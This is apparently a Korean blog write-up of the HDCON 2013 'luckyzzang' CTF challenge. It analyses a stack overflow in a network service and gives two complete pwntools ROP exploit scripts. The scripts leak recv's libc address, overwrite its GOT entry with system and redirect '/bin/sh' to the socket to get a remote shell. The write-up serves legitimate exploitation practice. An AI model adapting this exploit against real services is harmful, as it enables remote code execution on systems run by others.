ipwn
[HDCON 2013] luckyzzang 본문
이번에 푼 문제는 luckyzzang 문제다.
바로 보호기법부터 확인해보겠다.
NX는 걸려있지만 canary는 걸려있지 않다.
그렇다면 IDA로 한 번 분석해보겠다.
port 7777번으로 nc를 열어준다. (ssh 포트를 7777로 바꿨었는데 이거 때문에 다시 바꿨다...)
한 번 접속해서 뭐하는 프로그램인지 알아보자.
MSG를 입력하고 바로 끝을 낸다.
간단한 ROP문제일듯 하다.
다시 분석해보도록 하겠다.
연결이 성공적으로 된다면, Client has connected successfully :)라는 문자열을 바이너리를 실행한 화면에 띄워준다.
그리고 여기서 BOF가 터지는 것을 알 수 있는데 v2 % 100의 값이 적당히 커줘야 성공적으로 ROP를 실행할 수 있을 것이다.
최대 0x401 + 100 만큼 입력이 가능한 것을 알 수 있다.
이제 script를 작성해보자.
늘 그랬듯이 구해야 할 값은 recv_plt, send_plt, recv_got, ppppr, offset, bss가 될 것이다.
바로 구하러 가보겠다.
recv_plt, send_plt, recv_got, sys_offset은 각각 0x80485f0, 0x8048610, 0x804a040, 0xad480인 것을 알 수 있다.
이제 bss와 ppppr gadget을 구하러 가보겠다.
bss와 ppppr gadget는 각각 0x804a054, 0x80489cc란 것을 알 수 있다.
이제 모두 구했으니 script를 작성해서 shell을 가져와보겠다.
while true; do python solve.py; done를 이용해서 shell이 가져와질 때 까지 loop를 돌렸다.
solve.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | from pwn import * p = remote( 'localhost', 7777 ) recv_plt = 0x80485f0 send_plt = 0x8048610 recv_got = 0x804a040 ppppr = 0x80489cc offset = 0xad480 bss = 0x804a054 cmd = '/bin/sh>&4 <&4' pay = '' pay += 'A'*1036 pay += p32(recv_plt) pay += p32(ppppr) pay += p32(4) pay += p32(bss) pay += p32(len(cmd)+1) pay += p32(0) pay += p32(send_plt) pay += p32(ppppr) pay += p32(4) pay += p32(recv_got) pay += p32(4) pay += p32(0) pay += p32(recv_plt) pay += p32(ppppr) pay += p32(4) pay += p32(recv_got) pay += p32(4) pay += p32(0) pay += p32(recv_plt) pay += 'AAAA' pay += p32(bss) p.sendlineafter('MSG : ', pay) p.sendline(cmd) recv = u32(p.recv(1024)) print '[*] recv addr : ' + str(hex(recv)) system = recv - offset print '[*] system addr : ' + str(hex(system)) p.sendline(p32(system)) print '[*] get shell!' p.interactive() |
rop_solve.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from pwn import * p = remote( 'localhost', 7777 ) e = ELF('./luckyzzang') rop = ROP(e) offset = 0xad480 cmd = '/bin/sh>&4 <&4' rop.recv(4, e.bss(), len(cmd)+2, 0) rop.send(4, e.got['recv'], 4, 0) rop.recv(4, e.got['recv'], 4, 0) rop.recv(e.bss()) pay = 'A'*1036 + rop.chain() p.sendlineafter('MSG : ', pay) p.sendline(cmd) recv = u32(p.recv(1024)) print '[*] recv addr : ' + str(hex(recv)) system = recv - offset print '[*] system addr : ' + str(hex(system)) p.sendline(p32(system)) print '[*] get shell!' p.interactive() |
이번에 풀 때는 /bin/sh를 4로 즉 socket로 redirection 해줘서 socket에서도 shell을 가져올 수 있게 만들었다.